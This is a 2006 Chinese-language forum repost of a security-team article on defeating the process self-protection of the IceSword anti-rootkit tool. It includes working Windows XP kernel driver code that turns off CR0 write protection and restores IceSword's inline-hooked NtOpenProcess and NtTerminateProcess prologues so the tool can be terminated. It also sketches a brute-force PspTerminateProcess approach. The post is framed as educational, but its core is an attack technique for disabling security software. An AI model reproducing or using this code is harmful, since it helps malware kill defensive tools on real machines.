廣告廣告
  加入我的最愛 設為首頁 風格修改
首頁 首尾
 手機版   訂閱   地圖  簡體 
您是第 2342 個閱讀者
 
發表文章 發表投票 回覆文章
  可列印版   加為IE收藏   收藏主題   上一主題 | 下一主題   
upside 手機 葫蘆墩家族
個人頭像
個人文章 個人相簿 個人日記 個人地圖
特殊貢獻獎 社區建設獎 優秀管理員勳章
頭銜:反病毒 反詐騙 反虐犬   反病毒 反詐騙 反虐犬  
版主
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
推文 x0
突破IceSword自身的進程保護
突破IceSword自身的進程保護

文章作者:xyzreg [E.S.T](http://www.xyzreg.net)
資訊來源:邪惡八進制資訊安全團隊(www.eviloctal.com)

IceSword的驅動對其自身進程做了保護,使惡意程式終止不了他。IceSword沒有用HOOK SSDT的方法,不過也沒用什麼太BT的方法,而是Inline Hook了NtOpenProcess、NtTerminateProcess幾個函數,即修改函數前5個字節,jmp到他自定義處理函數例程裏。

終止採用這類保護方法的進程,可以使用暴力的PspTerminateProcess方法,PspTerminateProcess函數未導出,需要我們自己窮舉特徵碼搜索來定位,或者硬編碼之。當然,我們還可以恢復IceSword的Inline hook,還原被IceSword掛鉤過的NtOpenProcess、NtTerminateProcess函數,然後在用戶態上使用普通的終止進程的方法就可以終止他了。這裡給出了第二中方法的具體代碼,不過由於此篇文章出於科普目的,代碼就寫得馬虎點了,僅適用於Windows XP,因為取SSDT對應的函數索引號用的硬編碼,說明問題而已。NtTerminateProcess未導出,大家可以自己改成通過讀取ntdll.dll動態通用的獲得索引號的方法,方法網上有公開,需要的人就自己動點手吧,呵呵~


CODE:

#include <ntddk.h>

#define DWORD unsigned long

unsigned char OldCode[5]="\x68\xc4\x00\x00\x00";
unsigned char OldCode2[5]="\x8b\xff\x55\x8b\xec";

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
DWORD OpAddr,OpAddr2;

OpAddr=*(KeServiceDescriptorTable.ServiceTableBase + 0x7A);
OpAddr2=*(KeServiceDescriptorTable.ServiceTableBase + 0x101);

_asm
{
  CLI
  MOV   eax, CR0
  AND eax, NOT 10000H
  MOV   CR0, eax

  pushad
  mov edi, OpAddr
  mov eax, dword ptr OldCode[0]
  mov [edi], eax
  mov al, byte ptr OldCode[4]
  mov [edi+4], al
  mov edi, OpAddr2
  mov eax, dword ptr OldCode2[0]
  mov [edi], eax
  mov al, byte ptr OldCode2[4]
  mov [edi+4], al
  popad

  MOV   eax, CR0
  OR   eax, 10000H
  MOV   CR0, eax
  STI
}
   
return STATUS_SUCCESS;
}



爸爸 你一路好走
獻花 x0 回到頂端 [樓 主] From:臺灣和信超媒體寬帶網 | Posted:2006-12-22 17:27 |

首頁  發表文章 發表投票 回覆文章
Powered by PHPWind v1.3.6
Copyright © 2003-04 PHPWind
Processed in 0.076906 second(s),query:15 Gzip disabled
本站由 瀛睿律師事務所 擔任常年法律顧問 | 免責聲明 | 本網站已依台灣網站內容分級規定處理 | 連絡我們 | 訪客留言